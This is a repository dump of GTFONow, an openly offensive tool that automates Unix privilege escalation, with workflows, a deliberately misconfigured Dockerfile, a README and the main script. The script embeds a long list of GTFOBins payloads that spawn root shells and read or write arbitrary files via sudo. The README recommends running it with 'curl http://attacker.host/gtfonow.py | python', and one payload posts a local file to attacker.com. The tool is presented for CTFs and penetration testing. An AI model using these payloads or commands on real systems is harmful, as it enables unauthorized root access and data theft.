├── .github └── workflows │ ├── docker-pytest.yml │ ├── publish-release.yml │ └── update-submodules.yml ├── .gitignore ├── .gitmodules ├── CHANGELOG.md ├── Dockerfile ├── LICENSE ├── README.md ├── gtfobin_update.py ├── gtfonow ├── __init__.py ├── gtfonow.py └── tests │ ├── __init__.py │ └── test_privesc.py └── supervisord.conf /.github/workflows/docker-pytest.yml: -------------------------------------------------------------------------------- 1 | name: Tests 2 | 3 | on: 4 | push: 5 | branches: [main, dev] 6 | paths: 7 | - "gtfonow/**" 8 | pull_request: 9 | branches: [main, dev] 10 | paths: 11 | - "gtfonow/**" 12 | jobs: 13 | build-and-test: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | matrix: 17 | python-version: 18 | ["2.7", "3.6", "3.7", "3.8", "3.9", "3.10", "3.11", "3.12"] 19 | 20 | steps: 21 | - uses: actions/checkout@v4 22 | - name: Build the Docker image 23 | run: | 24 | docker build . --file Dockerfile --tag gtfonow_test:${{ matrix.python-version }} --build-arg PYTHON_VERSION=${{ matrix.python-version }} 25 | 26 | - name: Run tests 27 | run: | 28 | docker run --name gtfonow_test_${{ matrix.python-version }} -d gtfonow_test:${{ matrix.python-version }} 29 | - name: Wait 30 | run: sleep 15 31 | - name: Run Pytest 32 | run: docker exec -u lowpriv gtfonow_test_${{ matrix.python-version }} pytest -v --cov=gtfonow --cov-report=xml --cov-report=term-missing 33 | - name: Copy coverage report from Docker container to host 34 | run: docker cp gtfonow_test_${{ matrix.python-version }}:/home/lowpriv/coverage.xml . 35 | 36 | - name: Upload coverage reports to Codecov 37 | uses: codecov/codecov-action@v3 38 | with: 39 | files: ./coverage.xml 40 | env: 41 | CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} 42 | -------------------------------------------------------------------------------- /.github/workflows/publish-release.yml: -------------------------------------------------------------------------------- 1 | name: Publish File to Release 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | paths: 8 | - "gtfonow/gtfonow.py" 9 | 10 | jobs: 11 | release: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - name: Checkout code 15 | uses: actions/checkout@v4 16 | 17 | - name: Conventional Changelog Action 18 | id: changelog 19 | uses: TriPSs/conventional-changelog-action@v3 20 | with: 21 | github-token: ${{ secrets.github_token }} 22 | skip-version-file: true 23 | 24 | - name: Create Release 25 | uses: actions/create-release@v1 26 | if: ${{ steps.changelog.outputs.skipped == 'false' }} 27 | env: 28 | GITHUB_TOKEN: ${{ secrets.github_token }} 29 | with: 30 | tag_name: ${{ steps.changelog.outputs.tag }} 31 | release_name: ${{ steps.changelog.outputs.tag }} 32 | body: ${{ steps.changelog.outputs.clean_changelog }} 33 | - name: Upload binaries to release 34 | uses: svenstaro/upload-release-action@v2 35 | with: 36 | repo_token: ${{ secrets.GITHUB_TOKEN }} 37 | file: gtfonow/gtfonow.py 38 | asset_name: gtfonow.py 39 | tag: ${{ steps.changelog.outputs.tag }} 40 | -------------------------------------------------------------------------------- /.github/workflows/update-submodules.yml: -------------------------------------------------------------------------------- 1 | name: Update Submodules and Create PR 2 | 3 | on: 4 | schedule: 5 | - cron: "8 0 * * 5" 6 | jobs: 7 | update-submodules: 8 | runs-on: ubuntu-latest 9 | 10 | steps: 11 | - name: Checkout the repository 12 | uses: actions/checkout@v4 13 | with: 14 | submodules: "recursive" 15 | - name: Update submodules 16 | run: | 17 | git submodule update --remote --recursive 18 | 19 | - name: Check for changes 20 | id: check_changes 21 | run: | 22 | git diff --exit-code || echo "changes=true" >> $GITHUB_ENV 23 | 24 | - name: Exit if no changes 25 | if: env.changes != 'true' 26 | run: exit 0 27 | - uses: actions/setup-python@v4 28 | - name: Install pyyaml 29 | run: pip install pyyaml 30 | - name: Patch script 31 | run: python gtfobin_update.py 32 | - name: Create Pull Request 33 | uses: peter-evans/create-pull-request@v5 34 | with: 35 | title: "Update GTFOBins" 36 | branch: update-gtfobins-${{ github.run_id }} 37 | body: "This is an automated PR to update the GTFOBin submodule." 38 | delete-branch: true 39 | commit-message: "feat: Update GTFOBins" 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "GTFOBins.github.io"] 2 | path = GTFOBins.github.io 3 | url = https://github.com/GTFOBins/GTFOBins.github.io.git 4 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # [0.3.0](https://github.com/Frissi0n/GTFONow/compare/v0.2.1...v0.3.0) (2024-06-26) 2 | 3 | 4 | ### Features 5 | 6 | * Update GTFOBins ([#33](https://github.com/Frissi0n/GTFONow/issues/33)) ([93a21c3](https://github.com/Frissi0n/GTFONow/commit/93a21c37c492cc836e59c9979cfd99321701fe25)) 7 | 8 | 9 | 10 | ## [0.2.1](https://github.com/Frissi0n/GTFONow/compare/v0.2.0...v0.2.1) (2024-01-21) 11 | 12 | 13 | ### Bug Fixes 14 | 15 | * TypeError: a bytes-like object is required ([5c48995](https://github.com/Frissi0n/GTFONow/commit/5c48995010ba14a265d03f65a35bd2ccd77a4b88)) 16 | 17 | 18 | 19 | # [0.2.0](https://github.com/Frissi0n/GTFONow/compare/v0.1.0...v0.2.0) (2024-01-03) 20 | 21 | 22 | ### Features 23 | 24 | * Update GTFOBins ([27230db](https://github.com/Frissi0n/GTFONow/commit/27230db131a58f34a28dd43c5b6b79eabce898ed)) 25 | 26 | 27 | 28 | # [0.1.0](https://github.com/Frissi0n/GTFONow/compare/07697435fafe220f88f94008e5871ab4648e79a2...v0.1.0) (2023-12-04) 29 | 30 | 31 | ### Bug Fixes 32 | 33 | * Add missing shell spawn on manual arbitrary write ([0769743](https://github.com/Frissi0n/GTFONow/commit/07697435fafe220f88f94008e5871ab4648e79a2)) 34 | 35 | 36 | ### Features 37 | 38 | * Order payloads by exploitability and impact ([#16](https://github.com/Frissi0n/GTFONow/issues/16)) ([987a025](https://github.com/Frissi0n/GTFONow/commit/987a0257e595787e46c4e3d32f9bbcfef34f4a6a)) 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Use an official Python runtime as a parent image 2 | # FROM python:3.8 3 | ARG LINUX_DISTRO=ubuntu:latest 4 | ARG PYTHON_VERSION=3.8 5 | 6 | FROM python:${PYTHON_VERSION} 7 | # Set the working directory in the container 8 | 9 | RUN apt-get update -y 10 | RUN apt-get install -y zip 11 | RUN apt-get install -y cron 12 | RUN apt-get install -y nano 13 | RUN apt-get install -y nmap 14 | RUN apt-get install -y vim 15 | RUN apt-get install -y supervisor 16 | RUN apt-get install -y openssh-server 17 | RUN apt-get install -y sudo 18 | RUN pip install pytest pytest-cov 19 | RUN chmod u+s $(which find) 20 | RUN chmod u+s $(which nmap) 21 | RUN chmod u+s $(which cp) 22 | RUN chmod u+s $(which tee) 23 | RUN chmod u+s $(which dd) 24 | RUN chmod u+s $(which mv) 25 | RUN chmod u+s $(which rbash) 26 | RUN pip install mock 27 | RUN useradd -ms /bin/bash lowpriv 28 | RUN useradd -ms /bin/bash higherpriv 29 | RUN ssh-keygen -N '' -f /root/.ssh/id_rsa 30 | RUN cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys 31 | RUN echo "ONLY_ROOT_CAN_READ_THIS" > /root/proof.txt 32 | RUN echo "lowpriv ALL=(ALL) NOPASSWD: /usr/bin/head" >> /etc/sudoers 33 | RUN echo "lowpriv ALL=(higherpriv) NOPASSWD: /usr/bin/vim" >> /etc/sudoers 34 | 35 | COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf 36 | RUN mkdir /run/sshd 37 | # USER lowpriv 38 | 39 | WORKDIR /home/lowpriv/ 40 | COPY --chown=lowpriv:lowpriv . . 41 | 42 | 43 | CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"] 44 | 45 | #CMD ["pytest", "-v"] 46 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Frissi0n 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Main Branch](https://github.com/Frissi0n/GTFONow/actions/workflows/docker-pytest.yml/badge.svg?branch=main)](https://github.com/Frissi0n/GTFONow/actions/workflows/docker-pytest.yml) 2 | 3 | # GTFONow 4 | 5 | Automatic privilege escalation on unix systems by exploiting misconfigured setuid/setgid binaries, capabilities and sudo permissions. Designed for CTFs but also applicable in real world pentests. 6 | 7 | [![asciicast](https://asciinema.org/a/625026.svg)](https://asciinema.org/a/625026) 8 | 9 | ## ✅ Features 10 | 11 | - Automatically exploit misconfigured sudo permissions. 12 | - Automatically exploit misconfigured suid, sgid permissions. 13 | - Automatically exploit misconfigured capabilities. 14 | - Automatically convert arbitrary file read primitive into shell by stealing SSH keys. 15 | - Automatically convert arbitrary file write primitive into shell by dropping SSH keys. 16 | - Automatically convert arbitrary file write primitive into shell by writing to cron. 17 | - Automatically convert arbitrary file write primitive into shell using LD_PRELOAD. 18 | - Single file, easy to run fileless with `curl http://attackerhost/gtfonow.py | python` 19 | 20 | # 💻 Usage 21 | 22 | To use `GTFONow`, simply run the script from your command line. The basic syntax is as follows: 23 | 24 | ```shell 25 | python gtfonow.py [OPTIONS] 26 | ``` 27 | 28 | It can also be run by piping the output of curl: 29 | 30 | ```shell 31 | curl http://attacker.host/gtfonow.py | python 32 | ``` 33 | 34 | ## Options 35 | 36 | - `--level`: Sets the level of checks to perform. You can choose between: 37 | - `1` (default) for a quick scan. 38 | - `2` for a more thorough scan. 39 | - Example: `python gtfonow.py --level 2` 40 | - `--risk`: Specifies the risk level of the exploit to perform. The options are: 41 | - `1` (default) for safe operations. 42 | - `2` for more aggressive operations such as file modifications, primarily for use in CTFs, if using on real engagements, ensure you understand what this is doing. 43 | - Example: `python gtfonow.py --risk 2` 44 | - `--command`: Issues a single command instead of spawning an interactive shell. This is mainly for debugging purposes. 45 | - Example: `python gtfonow.py --command 'ls -la'` 46 | - `--auto`: Automatically exploits without user wizard. 47 | - `-v`, `--verbose`: Enables verbose output. 48 | - Example: `python gtfonow.py --verbose` 49 | 50 | ## Compatibility 51 | 52 | By design GTFONow is a backwards compatible, stdlib only python script, meaning it should work on any variant of Unix if Python is installed. 53 | 54 | - Python2.\* 55 | - Python3.\* 56 | - No 3rd party dependencies 57 | - Any Unix Variant (Linux, MacOS,\*Nix) 58 | - Any architecture eg (X86/ARM64/X86-64) 59 | 60 | ## 🙏 Credits 61 | 62 | - Payloads thanks to [GTFOBins](https://gtfobins.github.io/). 63 | -------------------------------------------------------------------------------- /gtfobin_update.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import json 4 | import yaml 5 | 6 | GTFOBINS_PATH = "GTFOBins.github.io/_gtfobins/" 7 | GTFO_NOW_PATH = "gtfonow/gtfonow.py" 8 | 9 | 10 | def replace_content(file_path, new_content, start_marker, end_marker): 11 | """Replace content in a file between start_marker and end_marker.""" 12 | try: 13 | with open(file_path, 'r') as file: 14 | content = file.readlines() 15 | 16 | start_index = next((i for i, line in enumerate( 17 | content) if start_marker in line), None) 18 | end_index = next((i for i, line in enumerate( 19 | content) if end_marker in line), None) 20 | 21 | if start_index is not None and end_index is not None: 22 | content = content[:start_index + 1] + \ 23 | [new_content + '\n'] + content[end_index:] 24 | with open(file_path, 'w') as file: 25 | file.writelines(content) 26 | else: 27 | print("Markers not found in file") 28 | except IOError as e: 29 | print(f"Error opening file: {e}") 30 | 31 | 32 | def process_yaml(filename, key): 33 | """Process YAML file and extract data for a specific key.""" 34 | with open(filename, 'r') as f: 35 | content = f.read().replace("---", "") 36 | doc = yaml.load(content, Loader=yaml.Loader) 37 | if key in doc["functions"]: 38 | binary = os.path.basename(filename).replace(".md", "") 39 | return binary, doc["functions"][key] 40 | return None, None 41 | 42 | 43 | def main(): 44 | sudo_bins = {} 45 | suid_bins = {} 46 | capabilities = {} 47 | 48 | for filename in os.listdir(GTFOBINS_PATH): 49 | if not filename.endswith(".md"): 50 | continue 51 | full_path = os.path.join(GTFOBINS_PATH, filename) 52 | for key in ["sudo", "suid", "capabilities"]: 53 | binary, payloads = process_yaml(full_path, key) 54 | if binary and payloads: 55 | if key == "sudo": 56 | sudo_bins[binary] = payloads 57 | elif key == "suid": 58 | suid_bins[binary] = payloads 59 | elif key == "capabilities": 60 | capabilities[binary] = payloads 61 | 62 | replace_content(GTFO_NOW_PATH, "sudo_bins = " + json.dumps(sudo_bins, 63 | indent=4, sort_keys=True), "# SUDO_BINS_START", "# SUDO_BINS_END") 64 | replace_content(GTFO_NOW_PATH, "suid_bins = " + json.dumps(suid_bins, 65 | indent=4, sort_keys=True), "# SUID_BINS_START", "# SUID_BINS_END") 66 | replace_content(GTFO_NOW_PATH, "capabilities = " + json.dumps(capabilities, 67 | indent=4, sort_keys=True), "# CAPABILITIES_START", "# CAPABILITIES_END") 68 | 69 | 70 | if __name__ == "__main__": 71 | main() 72 | -------------------------------------------------------------------------------- /gtfonow/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Frissi0n/GTFONow/f16f69a4f1d15bd3aa4e9d79fb22bcc27e256772/gtfonow/__init__.py -------------------------------------------------------------------------------- /gtfonow/gtfonow.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env/python 2 | # -*- coding: utf-8 -*- 3 | # https://github.com/Frissi0n/GTFONow 4 | # Automatic privilege escalation for misconfiguRED capabilities, sudo and suid binaries. 5 | 6 | from __future__ import print_function 7 | import subprocess 8 | import getpass 9 | import os 10 | import argparse 11 | import sys 12 | import re 13 | import stat 14 | import grp 15 | import pwd 16 | import logging 17 | import platform 18 | import time 19 | import select 20 | 21 | # SUDO_BINS_START 22 | sudo_bins = { 23 | "7z": [ 24 | { 25 | "code": "LFILE=file_to_read\nsudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n" 26 | } 27 | ], 28 | "aa-exec": [ 29 | { 30 | "code": "sudo aa-exec /bin/sh" 31 | } 32 | ], 33 | "ab": [ 34 | { 35 | "code": "URL=http://attacker.com/\nLFILE=file_to_send\nsudo ab -p $LFILE $URL\n", 36 | "description": "Upload local file via HTTP POST request." 37 | } 38 | ], 39 | "alpine": [ 40 | { 41 | "code": "LFILE=file_to_read\nsudo alpine -F \"$LFILE\"\n" 42 | } 43 | ], 44 | "ansible-playbook": [ 45 | { 46 | "code": "TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF\nsudo ansible-playbook $TF\n" 47 | } 48 | ], 49 | "ansible-test": [ 50 | { 51 | "code": "sudo ansible-test shell" 52 | } 53 | ], 54 | "aoss": [ 55 | { 56 | "code": "sudo aoss /bin/sh" 57 | } 58 | ], 59 | "apache2ctl": [ 60 | { 61 | "code": "LFILE=file_to_read\nsudo apache2ctl -c \"Include $LFILE\" -k stop\n" 62 | } 63 | ], 64 | "apt": [ 65 | { 66 | "code": "sudo apt changelog apt\n!/bin/sh\n", 67 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 68 | }, 69 | { 70 | "code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n", 71 | "description": "For this to work the target package (e.g., `sl`) must not be installed." 72 | }, 73 | { 74 | "code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh", 75 | "description": "When the shell exits the `update` command is actually executed." 76 | } 77 | ], 78 | "apt-get": [ 79 | { 80 | "code": "sudo apt-get changelog apt\n!/bin/sh\n", 81 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 82 | }, 83 | { 84 | "code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n", 85 | "description": "For this to work the target package (e.g., `sl`) must not be installed." 86 | }, 87 | { 88 | "code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh", 89 | "description": "When the shell exits the `update` command is actually executed." 90 | } 91 | ], 92 | "ar": [ 93 | { 94 | "code": "TF=$(mktemp -u)\nLFILE=file_to_read\nsudo ar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n" 95 | } 96 | ], 97 | "aria2c": [ 98 | { 99 | "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n" 100 | } 101 | ], 102 | "arj": [ 103 | { 104 | "code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\nsudo arj e \"$TF/a\" $LDIR\n", 105 | "description": "The archive can also be prepared offline then uploaded." 106 | } 107 | ], 108 | "arp": [ 109 | { 110 | "code": "LFILE=file_to_read\nsudo arp -v -f \"$LFILE\"\n" 111 | } 112 | ], 113 | "as": [ 114 | { 115 | "code": "LFILE=file_to_read\nsudo as @$LFILE\n" 116 | } 117 | ], 118 | "ascii-xfr": [ 119 | { 120 | "code": "LFILE=file_to_read\nsudo ascii-xfr -ns \"$LFILE\"\n" 121 | } 122 | ], 123 | "ascii85": [ 124 | { 125 | "code": "LFILE=file_to_read\nsudo ascii85 \"$LFILE\" | ascii85 --decode\n" 126 | } 127 | ], 128 | "ash": [ 129 | { 130 | "code": "sudo ash" 131 | } 132 | ], 133 | "aspell": [ 134 | { 135 | "code": "LFILE=file_to_read\nsudo aspell -c \"$LFILE\"\n" 136 | } 137 | ], 138 | "at": [ 139 | { 140 | "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n" 141 | } 142 | ], 143 | "atobm": [ 144 | { 145 | "code": "LFILE=file_to_read\nsudo atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n" 146 | } 147 | ], 148 | "awk": [ 149 | { 150 | "code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'" 151 | } 152 | ], 153 | "aws": [ 154 | { 155 | "code": "sudo aws help\n!/bin/sh\n", 156 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 157 | } 158 | ], 159 | "base32": [ 160 | { 161 | "code": "LFILE=file_to_read\nsudo base32 \"$LFILE\" | base32 --decode\n" 162 | } 163 | ], 164 | "base58": [ 165 | { 166 | "code": "LFILE=file_to_read\nsudo base58 \"$LFILE\" | base58 --decode\n" 167 | } 168 | ], 169 | "base64": [ 170 | { 171 | "code": "LFILE=file_to_read\nsudo base64 \"$LFILE\" | base64 --decode\n" 172 | } 173 | ], 174 | "basenc": [ 175 | { 176 | "code": "LFILE=file_to_read\nsudo basenc --base64 $LFILE | basenc -d --base64\n" 177 | } 178 | ], 179 | "basez": [ 180 | { 181 | "code": "LFILE=file_to_read\nsudo basez \"$LFILE\" | basez --decode\n" 182 | } 183 | ], 184 | "bash": [ 185 | { 186 | "code": "sudo bash" 187 | } 188 | ], 189 | "batcat": [ 190 | { 191 | "code": "sudo batcat --paging always /etc/profile\n!/bin/sh\n" 192 | } 193 | ], 194 | "bc": [ 195 | { 196 | "code": "LFILE=file_to_read\nsudo bc -s $LFILE\nquit\n" 197 | } 198 | ], 199 | "bconsole": [ 200 | { 201 | "code": "sudo bconsole\n@exec /bin/sh\n" 202 | } 203 | ], 204 | "bpftrace": [ 205 | { 206 | "code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'" 207 | }, 208 | { 209 | "code": "TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF\n" 210 | }, 211 | { 212 | "code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'" 213 | } 214 | ], 215 | "bridge": [ 216 | { 217 | "code": "LFILE=file_to_read\nsudo bridge -b \"$LFILE\"\n" 218 | } 219 | ], 220 | "bundle": [ 221 | { 222 | "code": "sudo bundle help\n!/bin/sh\n", 223 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 224 | } 225 | ], 226 | "bundler": [ 227 | { 228 | "code": "sudo bundler help\n!/bin/sh\n", 229 | "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply." 230 | } 231 | ], 232 | "busctl": [ 233 | { 234 | "code": "sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n" 235 | } 236 | ], 237 | "busybox": [ 238 | { 239 | "code": "sudo busybox sh" 240 | } 241 | ], 242 | "byebug": [ 243 | { 244 | "code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nsudo byebug $TF\ncontinue\n" 245 | } 246 | ], 247 | "bzip2": [ 248 | { 249 | "code": "LFILE=file_to_read\nsudo bzip2 -c $LFILE | bzip2 -d\n" 250 | } 251 | ], 252 | "c89": [ 253 | { 254 | "code": "sudo c89 -wrapper /bin/sh,-s ." 255 | } 256 | ], 257 | "c99": [ 258 | { 259 | "code": "sudo c99 -wrapper /bin/sh,-s ." 260 | } 261 | ], 262 | "cabal": [ 263 | { 264 | "code": "sudo cabal exec -- /bin/sh" 265 | } 266 | ], 267 | "capsh": [ 268 | { 269 | "code": "sudo capsh --" 270 | } 271 | ], 272 | "cat": [ 273 | { 274 | "code": "LFILE=file_to_read\nsudo cat \"$LFILE\"\n" 275 | } 276 | ], 277 | "cdist": [ 278 | { 279 | "code": "sudo cdist shell -s /bin/sh" 280 | } 281 | ], 282 | "certbot": [ 283 | { 284 | "code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n" 285 | } 286 | ], 287 | "check_by_ssh": [ 288 | { 289 | "code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx", 290 | "description": "The shell will only last 10 seconds." 291 | } 292 | ], 293 | "check_cups": [ 294 | { 295 | "code": "LFILE=file_to_read\nsudo check_cups --extra-opts=@$LFILE\n" 296 | } 297 | ], 298 | "check_log": [ 299 | { 300 | "code": "LFILE=file_to_write\nINPUT=input_file\nsudo check_log -F $INPUT -O $LFILE\n" 301 | } 302 | ], 303 | "check_memory": [ 304 | { 305 | "code": "LFILE=file_to_read\nsudo check_memory --extra-opts=@$LFILE\n" 306 | } 307 | ], 308 | "check_raid": [ 309 | { 310 | "code": "LFILE=file_to_read\nsudo check_raid --extra-opts=@$LFILE\n" 311 | } 312 | ], 313 | "check_ssl_cert": [ 314 | { 315 | "code": "COMMAND=id\nOUTPUT=output_file\nTF=$(mktemp)\necho \"$COMMAND | tee $OUTPUT\" > $TF\nchmod +x $TF\numask 022\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat $OUTPUT\n", 316 | "description": "The host example.net must return a certificate via TLS" 317 | } 318 | ], 319 | "check_statusfile": [ 320 | { 321 | "code": "LFILE=file_to_read\nsudo check_statusfile $LFILE\n" 322 | } 323 | ], 324 | "chmod": [ 325 | { 326 | "code": "LFILE=file_to_change\nsudo chmod 6777 $LFILE\n" 327 | } 328 | ], 329 | "choom": [ 330 | { 331 | "code": "sudo choom -n 0 /bin/sh" 332 | } 333 | ], 334 | "chown": [ 335 | { 336 | "code": "LFILE=file_to_change\nsudo chown $(id -un):$(id -gn) $LFILE\n" 337 | } 338 | ], 339 | "chroot": [ 340 | { 341 | "code": "sudo chroot /\n" 342 | } 343 | ], 344 | "clamscan": [ 345 | { 346 | "code": "LFILE=file_to_read\nTF=$(mktemp -d)\ntouch $TF/empty.yara\nsudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n" 347 | } 348 | ], 349 | "cmp": [ 350 | { 351 | "code": "LFILE=file_to_read\nsudo cmp $LFILE /dev/zero -b -l\n" 352 | } 353 | ], 354 | "cobc": [ 355 | { 356 | "code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\nsudo cobc -xFj --frelax-syntax-checks $TF/x\n" 357 | } 358 | ], 359 | "column": [ 360 | { 361 | "code": "LFILE=file_to_read\nsudo column $LFILE\n" 362 | } 363 | ], 364 | "comm": [ 365 | { 366 | "code": "LFILE=file_to_read\nsudo comm $LFILE /dev/null 2>/dev/null\n" 367 | } 368 | ], 369 | "composer": [ 370 | { 371 | "code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n" 372 | } 373 | ], 374 | "cowsay": [ 375 | { 376 | "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x\n" 377 | } 378 | ], 379 | "cowthink": [ 380 | { 381 | "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowthink -f $TF x\n" 382 | } 383 | ], 384 | "cp": [ 385 | { 386 | "code": "LFILE=file_to_write\necho \"DATA\" | sudo cp /dev/stdin \"$LFILE\"\n" 387 | }, 388 | { 389 | "code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF $LFILE\n", 390 | "description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)" 391 | }, 392 | { 393 | "code": "sudo cp /bin/sh /bin/cp\nsudo cp\n", 394 | "description": "This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action." 395 | } 396 | ], 397 | "cpan": [ 398 | { 399 | "code": "sudo cpan\n! exec '/bin/bash'\n" 400 | } 401 | ], 402 | "cpio": [ 403 | { 404 